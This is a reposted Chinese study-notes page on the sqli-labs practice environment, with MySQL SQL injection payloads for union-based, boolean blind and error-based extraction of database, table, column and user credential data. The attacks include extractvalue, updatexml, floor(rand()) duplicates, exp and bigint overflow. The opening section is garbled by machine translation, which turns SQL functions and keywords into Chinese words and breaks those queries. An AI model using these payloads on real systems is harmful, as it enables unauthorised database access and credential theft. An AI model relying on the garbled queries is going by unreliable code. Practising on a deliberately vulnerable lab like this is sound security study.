Sqllibs 笔记

技术Sqllibs 笔记 Sqllibs 笔记Sqllibs
报错注入
Background 1
基础函数version()——MySQL 版本
user()——数据库用户名
database()——数

Sqllibs笔记

Sqllibs

报错注入

Background 1

基础函数

版本()——MySQL版本

用户()——数据库用户名

数据库()——数据库名

@@datadir——数据库路径

@@version_compile_os——操作系统版本

字符串连接函数

concat(str1,str2,)——没有分隔符地连接字符串

concat_ws(分隔符,str1,str2,)——含有分隔符地连接字符串

group_concat(str1,str2,)——连接一个组的所有字符串,并以逗号分隔每一条数据

Payload 4

id=-1 '联合从信息_ schema.schemata中选择1,group_concat(schema_name),3

id=-1 '联合从信息_schema.tables中选择1,group_concat(table_name),3,其中table_schema='security '

id=-1 '联合从information_schema.columns中选择1,group_concat(column_name),3,其中table _ name=' users '

id=-1 '联合从id=2的用户中选择1、用户名和密码

盲注

Background 5

截取字符串常用函数

mid()

mid(column_name,start[,length])

此函数为截取字符串一部分

substr()

子字符串(字符串、开始、长度)

从开始位置开始,截取字符串线的长度长度

Substr()和子字符串()函数实现的功能是一样的,均为截取字符串

左()

左(字符串,n)

从左侧截取线的前n位

订单()

返回第一个字符的美国信息交换标准代码码,经常与上面的函数进行组合使用。

订单(中间(数据库),(1,1))114意为检测数据库()的第一位美国信息交换标准代码码是否大于114,也即是r

ascii()

ascii()将某个字符转换为美国信息交换标准码值

ascii('A')=65ascii('a')=97

正则

http://www.cnblogs.com/lcamry/articles/5717442.html

用法介绍:选择user()regexp "[1]";

数值溢出

两倍溢出http://www.cnblogs.com/lcamry/articles/5509124.htm

Exp()为以e为底的对数函数;版本在5.5.5 及其以上

选择exp(~(选择* FROM(选择用户()(a))

bigint溢出http://www.cnblogs.com/lcamry/articles/5509112.htm

选择!(从(选择用户())x中选择*)-~ 0

~0 是对0 逐位取反,很大的版本在5.5.5 及其以上

报错

https://www.cnblogs.com/zzhoo/p/12386128.html

提取值()

抽取值(XML_document,XPath _ string);

第一个参数:XML_document是线格式,为可扩展标记语言文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

extractvalue(1,concat(0x7e,(选择@ @版本,0x7e))

关系型数据库对可扩展标记语言数据进行查询和修改的xpath函数,xpath语法错误;提取值()能查询字符串的最大长度为32

li>

  • updatexml()

    UPDATEXML (XML_document, XPath_string, new_value);
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串)
    第三个参数:new_value,String格式,替换查找到的符合条件的数据

    updatexml(1,concat(0x7e,(select @@version),0x7e),1)
    mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

  • floor报错注入是利用 select count(),(floor(rand(0)2)) x from users group by x这个相对固定的语句格式,导致的数据库报错。实际利用中通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,就实现了注入结果与报错信息回显的注入方式。

  • https://www.freebuf.com/column/235496.html

    Payload 6

    布尔盲注:语句true/false——web页面返回true/false

    库名:security
    #######
    id=1' and left(version(),1)=5%23
    id=1' and left(version(),1)=5 --+
    id=1' and left(database(),2)'sa' --+
    id=1' and left(database(),2)='se' --+
    #######
    表名:emails,referers,uagents,users
    	select ascii('e');	101
    #######
    id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))100 --+
    #######
    	使用二分法进行测试,直到测试正确为止
    #######
    id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 --+
    #######
    	获取第一个表的第二位字符,使用 substr(String,2,1)即可
    	
    	select ascii('m');	109
    #######
    id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))=109 --+
    #######
    	获取第二个表,使用 limit 1,1 即可
    	
    	select ascii('r');	114
    #######
    id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 1,1),1,1))=114 --+
    #######
    	利用 regexp 获取 users 表中的列
    #######
    id=1' and 1=(select 1 from information_schema.columns where table_name regexp '^us[a-z]' limit 0,1) --+
    #######
    users 列名:id,username,password
    #######
    id=1' and 1=(select 1 from information_schema.columns where column_name regexp '^userna' limit 0,1) --+
    #######
    users 数据:
     id | username | password   
      1 | Dumb     | Dumb       
      2 | Angelina | I-kill-you 
    #######
    	利用 ord(),mid()函数获取 users 表的内容
    	
    	IFNULL(expression, alt_value) expression为NULL,返回备用值 alt_value
    	
    	CAST (expression AS data_type) 转换数据类型
    	
    	0x20 是十六进制,转换为十进制是32,即ASCII码为32的空格
    	
    	select ascii('D'); 68
    #######
    id=1' and ord(mid((select ifnull (cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 --+
    #######
    

    报错注入:注入条件——加入了 mysql_error() 显示错误

    	concat(str1,str2,…) 连接字符串,若任一参数为NULL则返回NULL
    	
    	contcat_ws(separator,str1,str2,...) 代表concat With Separator;第一个参数是其它参数的分隔符。分隔符可以是一个字符串,也可以是其它参数;如果分隔符为 NULL,则结果为 NULL;函数会忽略任何分隔符参数后的 NULL 值
    	select rand(0);
    	rand() 可以产生一个在0和1之间的随机数,当提供了一个固定的随机数的种子0之后,每次产生的值都是一样的。也可以称之为伪随机(产生的数据都是可预知的) 
    	select floor(rand(0)*2) from users;
    	floor() 函数的作用就是返回小于等于括号内该值的最大整数;rand() 是返回 0 到 1 之间的随机数,那么floor(rand(0))产生的数就只是0;rand产生的数乘 2 后自然是返回 0 到 2 之间的随机数,再配合 floor() 就可以产生确定的两个数了。也就是 0 和 1,并且根据固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1
    	
    	0x3a是":"的16进制
    	
    mysql select floor(rand(0)*2) from users;
    +-----+
    | floor(rand(0)*2) |
    +------------------+
    |                0 |
    |                1 |
    |                1 |
    |                0 |
    |                1 |
    |                1 |
    mysql select floor(rand(0)*2)a from users;
    +---+
    | a |
    +---+
    | 0 |
    | 1 |
    | 1 |
    | 0 |
    | 1 |
    | 1 |
    mysql select floor(rand(0)*2)a from users group by a;
    +---+
    | a |
    +---+
    | 0 |
    | 1 |
    +---+
    #######
    id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
    x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
    #######
    double 数值类型超出范围进行报错注入
    #######
    id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
    #######
    利用 bigint 溢出进行报错注入
    #######
    id=1' union select (!(select * from (select user())x) - ~0),2,3--+
    #######
    #######
    id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
    id=1' and extractvalue(1,concat(0x3a,version(),0x3a)) --+
    id=1' and extractvalue(1,concat(0x3a,@@version,0x3a)) --+
    #######
     
    #######
    id=1' and updatexml(1,concat(0x3a,version(),0x3a),1) --+
    #######
    利用数据的重复性
    #######
    id=1'union select 1,2,3 from (select NAME_CONST(version(),1),
    NAME_CONST(version(),1))x --+
    
    "INSERT INTO `security`.`uagents` (`extractvalue(1,concat(0x7e,(select @@version),0x7e))',1,1)#`, `ip_address`, `username`) VALUES ('$uagent',
    '$IP', $uname)";
    

    1. a-z ??

    内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/155863.html

    (0)

    相关推荐

    • 如何使用FiddlerScript

      技术如何使用FiddlerScript如何使用FiddlerScript,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。没有用过Fiddler

      攻略 2021年11月17日
    • 靶机-Hackademic-RTB1

      技术靶机-Hackademic-RTB1 靶机-Hackademic-RTB1Hackademic-RTB1
      信息搜集
      nmap 扫描,22 和 80 端口打开。nmap 警告 80 的 http 有风

      礼包 2021年12月14日
    • Windows的常用工具有几个

      技术Windows的常用工具有几个这篇文章给大家介绍Windows的常用工具有几个,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。哈喽,大家好,今天给大家分享几个好用的,提高办公办事效率的工具!(1)

      攻略 2021年10月22日
    • 测试模型---四种经典模型

      技术测试模型---四种经典模型 测试模型---四种经典模型V模型
      V模型中的过程从左到右,描述了基本的开发过程和测试行为。
      V模型的价值在于它非常明确地标明了测试过程中存在的不同级别,并且清楚地描述了这

      礼包 2021年11月29日
    • MySQL基础SQL入门

      技术MySQL基础SQL入门 MySQL基础SQL入门MySQL基础SQL入门
      1. 数据库的基本概念
      1.1 什么是数据库1. 数据库(DataBase) 就是存储和管理数据的仓库
      2. 其本质是一个

      礼包 2021年12月1日
    • 计算机组成原理--存储器与寄存器

      技术计算机组成原理--存储器与寄存器 计算机组成原理--存储器与寄存器现代计算机硬件由五大部件组成,分别是:运算器、控制器、存储器、输入设备和输出设备。
      存储器:
      而存储器的存在对于计算机来说起着不可或

      礼包 2021年11月20日